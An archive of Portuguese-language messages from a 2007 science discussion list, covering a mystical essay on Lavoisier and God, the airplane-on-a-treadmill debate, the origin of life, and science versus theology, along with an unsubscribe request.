> >E como o assunto tem algo grau de "off-topic", eu gostaria de
> >continuar em PVT, se você concordar. Evitaríamos de encher a lista de
> >elocubrações metafisicas.:-)
> >
>
> Eu não acho que seja tão "off-topic" assim! E muito menos que as
últimas
> discussões da lista! :-)
> Eu gostaria de "assistir" este debate e, de repente, até participar...
>
> []´,s
> Jeff.
>




SUBJECT: O Pão Nosso de Cada Dia ::: (sobre onipresença)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 15:20

O PÃO NOSSO DE CADA DIA
http://lampadadealadim.blogspot.com

(sobre onipresença)

O químico Lavoisier, ao estudar o comportamento da
natureza, chegou numa conclusão que é conhecida assim:
”nada se perde, tudo se transforma”. Quando abrimos os
olhos e a vida começa a dançar em nossas retinas, fica
evidente que tudo está mesmo em constante
transformação. O gelo está se transformando em água, a
água está se transformando em vapor, o vapor está se
transformando em água de novo. Cada instante que
pegamos na mão, está se transformando junto com a
própria mão. E mais incrível! Todos os eventos da
existência acontecem simultaneamente.

Observamos tudo acontecendo simultaneamente e temos a
sensação de que Lavoisier estava equivocado. Pensamos
assim: tudo se perde sim! Cadê o gelo que estava aqui?
Cadê a água que evaporou? Cadê a flor que morreu? Cadê
a eletricidade que animou o ventilador? Cadê o que era
doce e se acabou? Cadê o presente que virou passado?
Onde está agora? A resposta de Lavoisier é muito
simples: Tudo sempre está onde sempre está, onde nunca
deixa de estar e onde sempre estará:

TUDO ESTÁ SEMPRE EM TUDO.

Vamos voltar a primeira afirmação de Lavoisier: “Tudo
se transforma”. Pois bem, Tudo está em constante
transformação (mudança formal), porém, o fato do Tudo
estar sempre mudando de forma, não faz com que Tudo
deixe de ser sempre o mesmo conteúdo: Tudo. Ou seja,
Tudo é sempre tudo, eternamente tudo, porém, nunca da
mesma forma, pois Tudo é: UM mutante.

É TUDO NOVO DE NOVO.

Se entendermos que Tudo é uma forma coloquial de dizer
Matéria Universal, a resposta da pergunta “cadê o
presente que virou passado?”, fica assim: o presente
que virou passado está onde sempre está, onde nunca
deixa de estar e onde sempre estará: aqui e agora. Ou
seja, na matéria universal. Sendo assim, cabe aqui e
agora uma definição: o que é matéria universal?

MATÉRIA UNIVERSAL É A SUBSTANCIA UNIVERSAL DO SER
UNIVERSAL. É O CORPO ONIPRESENTE DA ETERNIDADE. É O
CÉREBRO DE DEUS.

A matéria universal é a massa cinzenta do ser
universal (deus), é seu cérebro. Na semantica cristã:
ela é a massa do pão nosso de cada dia. Ou seja, é a
substancia eterna e onipresente que entra e sai de
instante em instante da fôrma do tempo. Como veremos
nos próximos capítulos, deus é mesmo três: a massa do
pão, o padeiro e a fôrma (onipresença, onipotencia e
oniciencia). Prossigamos...

TRANSFORMAÇÃO É A EVOLUÇÃO (ATUALIZAÇÃO) DA FORMA.

Faltou Lavoisier dizer que existe sim algo que se
perde com a transformação: a forma temporal. A forma
flor, a forma gelo, a forma vento, enfim, toda forma
presente perece para que uma versão atualizada da
mesma possa tomar seu lugar na tela do tempo. Este
outro aspecto do fenômeno da transformação da matéria,
foi observado e estudado pelo famoso biólogo e
botânico Darwin, que lhe atribuiu o nome de “teoria da
evolução natural”. Talvez “perder” não seja a palavra
mais adequada para o fenômeno da evolução natural,
mas, por enquanto, é o suficiente pra prosseguirmos.

EU SOU O PRINCIPIO, O FIM E O MEIO.

Dizer que a matéria é o cérebro de deus, se assemelha
ao discurso da mecânica quântica sobre
“possibilidades”. Ora, o que é a eternidade senão a
matriz de todas as possibilidades? Sendo assim, se a
matéria universal é eterna, e se nós somos feitos
desta matéria, logo, podemos concluir que nossa
essência é eterna também. Ou seja, assim como uma onda
não é um pedaço do mar, mas uma observação (recortada)
do mar indivisível. Assim como um personagem em um
filme não é um pedaço do filme, mas uma observação
(recortada) do filme indivisível. Nós somos o corpo
indivisível da eternidade, inteiro, não um pedaço
dela. O único problema é que nós não temos consciência
desta nossa essência indivisível ainda, então: vamos
por partes.


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SUBJECT: Re: Balanço do avião
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 15:25

Olá Renato

Renato: "Vc lembra como eram feitas as filmagens antigamente em que os
protagonistas ficavam em um carro ou diligência parada, sacolejando, e
o cenário rodava atrás dando a impressão de que o que se movimentava
era o carro ou a diligência. "

Está enganado. E está com enormes problemas em entender a questão da
propulsão. As diligencias usam as rodas, ou melhor, os cavalos e o
atrito de suas patas na esteira para se mover, por isso podem ficar
paradas enquanto a esteira rola para tras. Se colocar um "jato" nas
costas da diligencia, esta sairia andando para frente, não importa o
quanto a esteira rolasse para tras.

Se entendesse isso, entenderia seu erro recorrente.

Coloque um carro na esteira de testes das montadoras, e este ficará
parado sobre ela, pois usa as rodas como tração. Coloque um avião, e
este sairá voando, não importa o que a esteira faça.

A esteira apenas pode compensar a tração das rodas, não a propulsão do
avião.

Estou com preguiça de continuar a explicar esta questão, Renato. Se
"acredita" que a esteira impede a decolagem, tudo bem, é mais uma
coisa em que 'acredita" e não sou eu (ou qualquer dos muitos
co-listeiros que tentaram) que vai conseguir explicar para você seu erro.

Renato: "Até o momento, apenas o Takata parece que percebeu essa
possibilidade quando afirmou "depende". Mas depois calou-se
obsequiosamente."

Não, Renato, o Takata estava apresentando uma questão totalmente
diferente de sua afirmação, nem de perto poderia ser considerada uma
validação do seu erro. Ele defendia que, em determinadas
circunstâncias, o atrito dos rolamentos podia ser equivalente a
propulsão do avião (jato ou hélices).

Observe que, em uma situação hipotética, onde o atrito era zero, ele
concordava totalmente que o avião decolaria sem problemas E SEM
DEPENDER DE QUE REFERENCIAL SERIA USADO, ESTEIRA OU CHÃO.

Foi o que eu tentei explicar ao Takata, a posição dele, extrema em
relação ao atrito dos rolamentos, estava "confundindo" você, e o
fazendo-o pensar que mais alguém achava que a esteira podia, por seu
movimento "compensatório", impedir a decolagem.

Mais uma vez então, SE houver atrito suficiente, seja nos rolamentos,
seja com uma corda amarrada no rabo do avião, e este for capaz de
compensar a propulsão, o avião não decola. Isso é a posição do Takata.

A sua, errada completamente, é que "depende do referencial", pois a
esteira, apenas por "rolar para tras", poderia compensar o avanço para
frente do avião. Esquecendo que este avança DEVIDO a propulsão e não
as rodas.

Mais uma vez, se você tivesse razão, mesmo com atrito zero nos
rolamentos, o avião NÃO decolaria, pois a esteira estaria
"compensando" o movimento para frente. Mas não está, não pode, não tem
como, etc.

E chega de absurdos. Entendo que a questão foi proposta como uma
"pegadinha" e que boa parte das pessoas chega a conclusão errada,
antes de entender o problema corretamente. Mas tudo tem limite, e
depois de chegar a conclusão errada, a maioria das pessoas consegue
entender o problema corretamente!

Ou está todo mundo errado, inclusive o Takata, ou você está errado e
não entendeu ainda o problema. O que acha mais provável, Renato?

Homero





SUBJECT: Re: Balanço do avião
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 15:42

Olá Renato

Apesar da "preguiça" que este assunto me causa depois de tanta
discussão, pensei em uma forma de usar seu exemplo para tentar, mais
uma vez, explicar seu engano.

Vamos pegar a diligência, que está sobre a esteira, e que se mantém
parada devido a uma corda amarrada em sua frente, e na parede logo
adiante. Pode ver a situação com clareza? É importante entender cada
força envolvida neste exemplo.

A diligência, com suas rodas girando devido a rolagem da esteira para
tras, se mantém parada. Não importa o quanto a esteira rola, nem sua
velocidade, ela se mantém parada apenas pela força da corda amarrada
na parede em frente. Nem precisa ser uma corda muito forte, precisa
apenas compensar o atrito dos rolamentos.

É importante notar que, se o atrito pudesse ser ZERO, NEM SERIA
NECESSÁRIA UMA CORDA..:-) Entende isso, Renato? Se o atrito dos
rolamentos das rodas fosse zero, a diligência poderia ser posta sobre
a esteira, e esta poderia rolar para tras ou para frente, a qualquer
velocidade, sem necessidade de uma corda ou qualquer tipo de força
para manter a diligência parada.

Voltemos ao exemplo. A diligência está parada, a esteira rola para
tras, e nada se move. Mas um sujeito resolve ir para tras da
diligência e, apoiado na parede "atras" desta, aplica uma força na
diligência, no sentido contrário a rolagem da esteira. Ele "empurra" a
diligência.

O que acontece, Renato? A diligência "anda" para frente, não? Não
importa, e talvez agora entenda isso, que a esteira seja "acelerada"
para compensar esse movimento, a diligência ANDA para frente e pode
até sair da esteira, pois a força aplicada a ela se apoia na parede, e
não há como a esteira compensar essa força!

Acelerar a esteira apenas vai fazer as rodas girarem mais rápido, já
que representam, NÃO A TRAÇÃO, mas o movimento somado dos dois objetos
em que está em contato, esteira e diligência.

É isso que acontece com um avião! Ele tem como propulsão uma "parede",
o jato ou hélice, as forças de ação e reação, etc, e nada que a
esteira faça pode impedir o avião de se mover para frente ao ligar a
propulsão, nem se ela acelerar na mesma velocidade deste!

Espero que, finalmente, entenda o problema. E entenda que a questão da
relatividade NADA tem a ver com este problema, nem a questão de em
relação ao que, esteira ou solo, se dá o movimento do avião (ou da
diligência).

Mas se não entender, acho que não há mais nada que se possa fazer.

Homero




SUBJECT: Re: [ciencialist] Re: Balanço do avião
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/04/2007 16:58

Homero,

Muito bom, o exemplo com a diligência; isto torna a situação bem mais clara.
Numa tentativa de reforçar o teu raciocínio, apresento outra maneira de analisar a questão,
para simular o arranque do avião: considerar que a diligência será puxada
por cavalos cujas patas só têm contato com o solo, não com a esteira, e que puxarão a diligência
com velocidade idêntica à da esteira(posta a andar para trás, de uma maneira qualquer).
Evidentemente, isto produzirá o mesmo efeito que Hulk empurrando a diligência, encostado na parede
sem contato com a esteira.
Se a diligência tiver asas e, se, ao invés dos cavalos, houver motores propulsores, o avião, digo, a diligência,
poderá levantar vôo. Será um negócio meio esquesito, uma diligência voando. Mas estamos só no terreno do faz
de conta, no é o que aconteceria se.
Com os cavalos, uma coisa eu garanto: voar, a diligência não voará!... Mas, com certeza, a poeira vai levantar no meio do mundo,
quando os cavalos forem "incentivados" a arrancarem.

Sds,
Victor.


----- Original Message -----
From: oraculo333
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, April 05, 2007 3:42 PM
Subject: [ciencialist] Re: Balanço do avião


Olá Renato

Apesar da "preguiça" que este assunto me causa depois de tanta
discussão, pensei em uma forma de usar seu exemplo para tentar, mais
uma vez, explicar seu engano.

Vamos pegar a diligência, que está sobre a esteira, e que se mantém
parada devido a uma corda amarrada em sua frente, e na parede logo
adiante. Pode ver a situação com clareza? É importante entender cada
força envolvida neste exemplo.

A diligência, com suas rodas girando devido a rolagem da esteira para
tras, se mantém parada. Não importa o quanto a esteira rola, nem sua
velocidade, ela se mantém parada apenas pela força da corda amarrada
na parede em frente. Nem precisa ser uma corda muito forte, precisa
apenas compensar o atrito dos rolamentos.

É importante notar que, se o atrito pudesse ser ZERO, NEM SERIA
NECESSÁRIA UMA CORDA..:-) Entende isso, Renato? Se o atrito dos
rolamentos das rodas fosse zero, a diligência poderia ser posta sobre
a esteira, e esta poderia rolar para tras ou para frente, a qualquer
velocidade, sem necessidade de uma corda ou qualquer tipo de força
para manter a diligência parada.

Voltemos ao exemplo. A diligência está parada, a esteira rola para
tras, e nada se move. Mas um sujeito resolve ir para tras da
diligência e, apoiado na parede "atras" desta, aplica uma força na
diligência, no sentido contrário a rolagem da esteira. Ele "empurra" a
diligência.

O que acontece, Renato? A diligência "anda" para frente, não? Não
importa, e talvez agora entenda isso, que a esteira seja "acelerada"
para compensar esse movimento, a diligência ANDA para frente e pode
até sair da esteira, pois a força aplicada a ela se apoia na parede, e
não há como a esteira compensar essa força!

Acelerar a esteira apenas vai fazer as rodas girarem mais rápido, já
que representam, NÃO A TRAÇÃO, mas o movimento somado dos dois objetos
em que está em contato, esteira e diligência.

É isso que acontece com um avião! Ele tem como propulsão uma "parede",
o jato ou hélice, as forças de ação e reação, etc, e nada que a
esteira faça pode impedir o avião de se mover para frente ao ligar a
propulsão, nem se ela acelerar na mesma velocidade deste!

Espero que, finalmente, entenda o problema. E entenda que a questão da
relatividade NADA tem a ver com este problema, nem a questão de em
relação ao que, esteira ou solo, se dá o movimento do avião (ou da
diligência).

Mas se não entender, acho que não há mais nada que se possa fazer.

Homero





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Serie Cosmos no Google Video
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 17:10

Varios videos da serie Cosmos estao disponiveis no Google Video.

Serah que sao piratas? Alguns estao com closed caption.

http://video.google.com/videosearch?num=10&so=0&q=carl+sagan+personal+duration%3Along&start=0


Ateh
Luis Brudna


SUBJECT: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - Mapa mental
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/04/2007 17:59

Ferrari:

Fui ver no Aurélio:
Entendimento - Filos. Faculdade de compreender, de pensar ou de conhecer. [Define-se esta faculdade ora como a fonte do conhecimento verdadeiro, e então é oposta ou à sensibilidade ou à imaginação, ora como a faculdade de conhecimento discursivo, e neste caso opõe-se à razão, que cumprirá uma etapa superior de conhecimento.]
2. Juízo, opinião:
3. Combinação, acordo, ajuste:
Dá para entender perfeitamente, mesmo sendo o Aurélio....

sds
silvio


From: Ferrari
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, April 05, 2007 2:34 PM
Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - Mapa mental


Olá Takata!

Takata >>> Vou negar porque eu não fugi, eu respondi

--- Não foi ai que vc fugiu, foi depois. Primeiro vc
respondeu: "Conhecimento é o entendimento a cerca das
coisas q estão à nossa volta, do mundo...". Então eu
lhe perguntei "O que é entendimento?". E foi ai que vc
fugiu. Olha, se vc não fugiu, desculpe meu mau
julgamento, mas fiquei com esta impressão. Mas enfim,
se vc não fugiu, eis aqui outra chance de responder:
"O que é entendimento?"

Takata >>> Quem está fungindo é vc. O que é
"conhecimento"?

--- Já te disse que não estou fugindo, e quem está me
julgando mau agora é vc. Eu te disse que se quiser
minha resposta vai ter que ter paciencia, pois a estou
contruindo consecutivamente no blog. Contudo, minha
resposta é minha resposta, e mesmo que dita a vc, são
apenas palavras. Assim, se vc precisar dela pra saber
o que é conhecimento, que tipo de conhecimento vc tem
ai? Enunciados decorados de livros e enciclopédias?

Takata >>> E tem outras q vc tb não respondeu: O que é
"apontar" e o que é "ver"?

--- Ok, vou responder estas duas. É claro que assim
que eu responder vc vai me fazer duas outras
perguntas, pois vc está usando o feitiço contra o
feiticeiro. Está no seu direito. Mas ai só mesmo lendo
no blog quando chegar a hora de responder o que é
"significante" e "significado". Mas vou responder esta
duas. Pode ser que vc honestamente queira saber e não
esteja apenas brincando de rei da ilha.

Apontar = significante
Ver = significado

sinceramente
ferrari
.




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Primordial Soup's On: Scientists Repeat Evolution's Most Famous Experiment
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 18:13

--- Em ciencialist@yahoogrupos.com.br, "Luis Brudna" <luisbrudna@...>
escreveu
>
> Nao sei pq a materia fala em alguns momentos de evolucao.
> Pelo que lembro o evolucionismo nao trata da origem da vida.
>
> Ateh
> Luis Brudna

>>>>A evolucao trata sim da origem da vida, q e' o resultado de um
processo evolutivo. Q outra alternativa nao sobrenatural existe? O
artigo reproduzido nao trata de mecanismos evolutivos, trata de
mecanismos de geracao de substancias q poderiam ser usadas como
materia prima de iniciacao de um processo evolutivo na Terra. Para
termos evolucao temos q ter unidades auto-replicantes, uma certa taxa
de erro de copiamento nao tao alta a ponto de inviabilizar o proprio
auto-copiamento e nao tao baixa a ponto de inviabilizar as mudancas,
e, finalmente, uma interacao com o meio ambiente q permita uma
selecao natural das unidades mais eficientes em duracao e reproducao.
Tendo isso, a evolucao e' inevitavel e conti'nua. Nao ha'
uma 'origem' exatamente identificavel da vida, pois nao ha' fronteira
clara entre o vivo e o nao vivo. O q chamamos vida e' apenas o efeito
macroscopico observavel do processo evolutivo. Uma simples molecula
auto-replicante, ou um segmento de DNA, ou alguns virus cristalinos
sao usualmente considerados nao vivos, e uma celula e' considerada
viva, mas isso e' uma divisao arbitraria. E' como tentar tracar uma
fronteira clara entre magros e gordos ou entre altos e baixos. Nao
ha' nada na materia viva q nao exista na materia nao viva. Nao existe
um 'sopro divino' na vida. Vida e' apenas materia e energia
organizadas. Tudo e' evolucao. A vida na Terra comecou com algum tipo
de molecula auto-replicante, por sua vez gerada por acaso em centenas
de milhoes de anos de reacoes quimicas aleatorias na sopa quimica da
Terra primitiva. Qdo exatamente se formou essa molecula e qual era a
sua estrutura quimica exata nao se sabe. Talvez tenha sido um
peptideo, talvez nao. Parece q em algum momento o processo evolutivo
gerou um complexo de sintese quimica/registro de informacao quimica
usando o par proteinas/RNA, talvez iniciado pelo RNA, talvez nao, q
depois evoluiu para um sistema DNA/RNA/proteinas, mas os caminhos
evolutivos antes do surgimento dessas estruturas - ja' de grande
complexidade - sao desconhecidos. As primeiras moleculas auto-
replicantes nao poderiam ser tao complexas ou nao teriam chance de
terem sido criadas por acaso em apenas algumas centenas de milhoes de
anos, como parece ser necessario se a evolucao biologica ja' em nivel
celular e' localizada entre 3,5 e 4 bilhoes de anos atras por
registros fosseis. Teriam q ter talvez algumas dezenas ou no maximo
poucas centenas de atomos, ou nao teriam tempo de terem surgido na
Terra.

Abs,
Eduardo Torres



SUBJECT: P/ Manuel - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 19:00

Também estou disposto a viajar na maionese em PVT. Vocês têm meu e-mail.

Abraços,
JC




--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Manuel
>
> Não há como tentar contestar um escritor de seu calibre, e com sua
> erudição, em mensagens curtas e rápidas, então terá de ser do modo
> doloroso, longas e complexas mensagens, que podem entediar os
> co-listeiros..:-)
>
> E como o assunto tem algo grau de "off-topic", eu gostaria de
> continuar em PVT, se você concordar. Evitaríamos de encher a lista de
> elocubrações metafisicas.:-)
>
> É um assunto que me interessa, e sua opinião é importante e penso
> sempre bem embasada, embora eu discorde de uma parte de suas conclusões.
>
> Por favor, me avise se concordar em continuar em PVT, sim?
>
> Um grande abraço.
>
> Homero
>
>
> --- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> <manuelbulcao@> escreveu
> >
> > Oi
> >
> > JC: "De fato, não há nenhum conflito entre Ciência, Filosofia e
> > Teologia, pois cada uma trata de uma coisa que não tem nenhuma relação
> > causal com a outra."
> >
> > MB: O problema é que, assim como não há uma linha "precisa"
> > demarcando a vida da morte ou o que é vivo do que não é, do mesmo
> > modo a fronteira que separa a ciência da filosofia não é uma linha,
> > mas uma "zona", um claro-escuro, uma região nem preta nem branca, mas
> > cinzenta - uma terra de ninguém ou de todos.
> >
> > HM: Mas o problema me parece sempre ser causado pela ilegítima
> > invasão da teologia na área da ciência, do que o contrário. Nunca vi
> > um estudo destinado a invalidar ou analisar uma afirmação teológica,
> > a não ser quando está faz referências a aspectos físicos e materiais.
> >
> > MB: Tais estudos existem, de montão. Estou vendo, agora, nas
> > prateleiras das minhas estantes, dois deles: "O Capelão do Diabo", de
> > R. Dawkins (livro excelente de um escritor maravilhoso) e "A Perigosa
> > Idéia de Darwin", de D. Dennett (um dos meus filósofos preferidos).
> > Não são poucos os cientistas e diletantes da ciência que tentam
> > assassinar os deuses com a Navalha de Ockham, cortando-lhes a
> > jugular. Até que conseguem sangrar mortalmente alguns, como o urubu-
> > totem entre outras divindades zoomórficas, quiméricas e
> > antropomórficas. Não conseguem, porém, sequer arranhar o deus pensado
> > por Anselmo, por Leibniz ou por Gödel.
> >
> > Muitos grandes cientistas e céticos cientificistas caem no ridículo
> > ao comparar Deus com Papai Noel, Saci-Pererê, Caipora e que tais;
> > como se a questão "eterna" e "perturbadora" da existência ou não de
> > um propósito moral regendo o mundo - ou de uma "causa finalis" -
> > fosse apenas uma curiosidade intelectual não mais intrigante que o
> > problema que trata de xícaras de porcelana orbitando o Sol. Se fosse
> > tão desimportante assim, não perderiam tanto tempo escrevendo
> > calhamaços de 300, 400, 500 páginas.
> >
> > HM: Mas teologias parecem passar o tempo todo a desafiar a ciência,
> > com "lacunas" de conhecimento que desejam chamar de deus (uma lacuna
> > para chamar de sua, deveria ser o mote de todas as religiões..;-).
> >
> > MB: E que lacunas! - "A investigação científica das causas eficientes
> > dos fenômenos naturais não pode avançar indefinidamente, tanto por
> > razões práticas e também porque a própria ciência descobriu
> > fronteiras absolutas do conhecimento. Com efeito, o que acontece nos
> > marcos do espaço e do tempo de Planck jaz completamente submerso na
> > incerteza quântica; a evolução dos sistemas dinâmicos complexos é, em
> > médio prazo, imprevisível; e, neste universo em expansão acelerada,
> > não se pode obter qualquer informação das regiões que se afastam de
> > nós com rapidez maior que a velocidade da luz. Ora, não há razão para
> > supor que os limites da ciência e do universo observável coincidem
> > com os limites da realidade. Ademais, haja vista que o cérebro é
> > produto dos mecanismos cegos da evolução (variação aleatória e
> > seleção natural), consistindo, pois, numa engenhoca complexa, porém
> > imperfeita, cheia de gambiarras, não é desarrazoado aventar que a
> > razão objetiva apresenta aspectos que escapam ao poder de captação da
> > razão subjetiva, humana. Sendo assim, além dos marcos da capacidade
> > de predição do método científico pode ser que exista qualquer coisa
> > inesperada, inclusive uma Causa Finalis manipulando, através das
> > banais causas eficientes, toda a realidade. Ou até, quiçá, duas ou
> > mais vontades divinas em conflito, de sorte que a 'aparente'
> > initencionalidade dos processos naturais observáveis nada mais seja
> > que a resultante ou vetor-soma dessas misteriosas forças intencionais
> > antagônicas: Mazda e Ahriman."
> >
> > JC: "por fim, a Teologia é uma disciplina que trata de devaneios
> > malucos sobre coisas estranhas de um universo fictício que só servem
> > para justificar o dízimo pago pelos crentes."
> >
> > HM: Assino em baixo..:-) Mas tente convencer um religioso disso,
> > tente convence-lo a manter sua teologia nesses termos..:-)
> >
> > MB: Sou mais ateu que todos vocês (o ateísmo é a minha "fé"), mas não
> > subscrevo a pérola retórica do José Carlos. Pois vejo todos os dias
> > matemáticos inteligentíssimos criando postulados arbitrários e,
> > baseado neles, construirem universos contrafactuais com 30, 42, 367
> > dimensões espaciais e meia dúzia ou mais de dimensões temporais
> > (universos "racionais", matematicamente possíveis; chegam até a medir
> > o seu grau de probabilidade).
> >
> > Também vejo físicos teóricos a calcularem com a precisão de 100 casas
> > decimais a massa, o spin e outras propriedades de partículas que se
> > sabe inexistentes, mas que "poderiam existir", como é o caso dos
> > táquions.
> >
> > Ora, então por que não haveria de ter um ramo da filosofia - a
> > teologia - ocupada com o "melhor dos mundos possíveis", mundo este em
> > que o absurdo e o não-sentido, por mais que se manifeste, seja apenas
> > aparente? O grande matemático Kurt Gödel se deleitou com esse
> > assunto. Criou até um complexo silogismo - na linguagem lógico-
> > matemática - em que conclui a existência real do "melhor dos mundos
> > possíveis" em que não existe culpa sem castigo, dor sem compensação
> > (um mundo regido por um propósito moral).
> >
> > Abraços,
> > Manuel Bulcão
> >
>




SUBJECT: RE: [ciencialist] P/ Manuel - Discordando, educadamente..:-) Re: Em defesa doparadoxo
FROM: "Robert Flynn" <bobflynn@taco-hvac.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/04/2007 19:04

Take me off this list.



Robert A. Flynn

Sr. Vice President Corporate Development

Taco Inc.

________________________________

From: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br] On Behalf Of José Carlos Antonio
Sent: Thursday, April 05, 2007 6:01 PM
To: ciencialist@yahoogrupos.com.br
Subject: [ciencialist] P/ Manuel - Discordando, educadamente..:-) Re: Em defesa doparadoxo



Também estou disposto a viajar na maionese em PVT. Vocês têm meu e-mail.

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br> , "oraculo333" <oraculo@...> escreveu
>
> Olá Manuel
>
> Não há como tentar contestar um escritor de seu calibre, e com sua
> erudição, em mensagens curtas e rápidas, então terá de ser do modo
> doloroso, longas e complexas mensagens, que podem entediar os
> co-listeiros..:-)
>
> E como o assunto tem algo grau de "off-topic", eu gostaria de
> continuar em PVT, se você concordar. Evitaríamos de encher a lista de
> elocubrações metafisicas.:-)
>
> É um assunto que me interessa, e sua opinião é importante e penso
> sempre bem embasada, embora eu discorde de uma parte de suas conclusões.
>
> Por favor, me avise se concordar em continuar em PVT, sim?
>
> Um grande abraço.
>
> Homero
>
>
> --- Em ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br> , Manuel Bulcão
> <manuelbulcao@> escreveu
> >
> > Oi
> >
> > JC: "De fato, não há nenhum conflito entre Ciência, Filosofia e
> > Teologia, pois cada uma trata de uma coisa que não tem nenhuma relação
> > causal com a outra."
> >
> > MB: O problema é que, assim como não há uma linha "precisa"
> > demarcando a vida da morte ou o que é vivo do que não é, do mesmo
> > modo a fronteira que separa a ciência da filosofia não é uma linha,
> > mas uma "zona", um claro-escuro, uma região nem preta nem branca, mas
> > cinzenta - uma terra de ninguém ou de todos.
> >
> > HM: Mas o problema me parece sempre ser causado pela ilegítima
> > invasão da teologia na área da ciência, do que o contrário. Nunca vi
> > um estudo destinado a invalidar ou analisar uma afirmação teológica,
> > a não ser quando está faz referências a aspectos físicos e materiais.
> >
> > MB: Tais estudos existem, de montão. Estou vendo, agora, nas
> > prateleiras das minhas estantes, dois deles: "O Capelão do Diabo", de
> > R. Dawkins (livro excelente de um escritor maravilhoso) e "A Perigosa
> > Idéia de Darwin", de D. Dennett (um dos meus filósofos preferidos).
> > Não são poucos os cientistas e diletantes da ciência que tentam
> > assassinar os deuses com a Navalha de Ockham, cortando-lhes a
> > jugular. Até que conseguem sangrar mortalmente alguns, como o urubu-
> > totem entre outras divindades zoomórficas, quiméricas e
> > antropomórficas. Não conseguem, porém, sequer arranhar o deus pensado
> > por Anselmo, por Leibniz ou por Gödel.
> >
> > Muitos grandes cientistas e céticos cientificistas caem no ridículo
> > ao comparar Deus com Papai Noel, Saci-Pererê, Caipora e que tais;
> > como se a questão "eterna" e "perturbadora" da existência ou não de
> > um propósito moral regendo o mundo - ou de uma "causa finalis" -
> > fosse apenas uma curiosidade intelectual não mais intrigante que o
> > problema que trata de xícaras de porcelana orbitando o Sol. Se fosse
> > tão desimportante assim, não perderiam tanto tempo escrevendo
> > calhamaços de 300, 400, 500 páginas.
> >
> > HM: Mas teologias parecem passar o tempo todo a desafiar a ciência,
> > com "lacunas" de conhecimento que desejam chamar de deus (uma lacuna
> > para chamar de sua, deveria ser o mote de todas as religiões..;-).
> >
> > MB: E que lacunas! - "A investigação científica das causas eficientes
> > dos fenômenos naturais não pode avançar indefinidamente, tanto por
> > razões práticas e também porque a própria ciência descobriu
> > fronteiras absolutas do conhecimento. Com efeito, o que acontece nos
> > marcos do espaço e do tempo de Planck jaz completamente submerso na
> > incerteza quântica; a evolução dos sistemas dinâmicos complexos é, em
> > médio prazo, imprevisível; e, neste universo em expansão acelerada,
> > não se pode obter qualquer informação das regiões que se afastam de
> > nós com rapidez maior que a velocidade da luz. Ora, não há razão para
> > supor que os limites da ciência e do universo observável coincidem
> > com os limites da realidade. Ademais, haja vista que o cérebro é
> > produto dos mecanismos cegos da evolução (variação aleatória e
> > seleção natural), consistindo, pois, numa engenhoca complexa, porém
> > imperfeita, cheia de gambiarras, não é desarrazoado aventar que a
> > razão objetiva apresenta aspectos que escapam ao poder de captação da
> > razão subjetiva, humana. Sendo assim, além dos marcos da capacidade
> > de predição do método científico pode ser que exista qualquer coisa
> > inesperada, inclusive uma Causa Finalis manipulando, através das
> > banais causas eficientes, toda a realidade. Ou até, quiçá, duas ou
> > mais vontades divinas em conflito, de sorte que a 'aparente'
> > initencionalidade dos processos naturais observáveis nada mais seja
> > que a resultante ou vetor-soma dessas misteriosas forças intencionais
> > antagônicas: Mazda e Ahriman."
> >
> > JC: "por fim, a Teologia é uma disciplina que trata de devaneios
> > malucos sobre coisas estranhas de um universo fictício que só servem
> > para justificar o dízimo pago pelos crentes."
> >
> > HM: Assino em baixo..:-) Mas tente convencer um religioso disso,
> > tente convence-lo a manter sua teologia nesses termos..:-)
> >
> > MB: Sou mais ateu que todos vocês (o ateísmo é a minha "fé"), mas não
> > subscrevo a pérola retórica do José Carlos. Pois vejo todos os dias
> > matemáticos inteligentíssimos criando postulados arbitrários e,
> > baseado neles, construirem universos contrafactuais com 30, 42, 367
> > dimensões espaciais e meia dúzia ou mais de dimensões temporais
> > (universos "racionais", matematicamente possíveis; chegam até a medir
> > o seu grau de probabilidade).
> >
> > Também vejo físicos teóricos a calcularem com a precisão de 100 casas
> > decimais a massa, o spin e outras propriedades de partículas que se
> > sabe inexistentes, mas que "poderiam existir", como é o caso dos
> > táquions.
> >
> > Ora, então por que não haveria de ter um ramo da filosofia - a
> > teologia - ocupada com o "melhor dos mundos possíveis", mundo este em
> > que o absurdo e o não-sentido, por mais que se manifeste, seja apenas
> > aparente? O grande matemático Kurt Gödel se deleitou com esse
> > assunto. Criou até um complexo silogismo - na linguagem lógico-
> > matemática - em que conclui a existência real do "melhor dos mundos
> > possíveis" em que não existe culpa sem castigo, dor sem compensação
> > (um mundo regido por um propósito moral).
> >
> > Abraços,
> > Manuel Bulcão
> >
>







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SUBJECT: Re: Balanço do avião
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/04/2007 19:07

Ainda bem que eu perdi o começo dessa discussão, senão, pelo que me
parece ao ler essas mensagens, eu suporia que alguém não acredita que
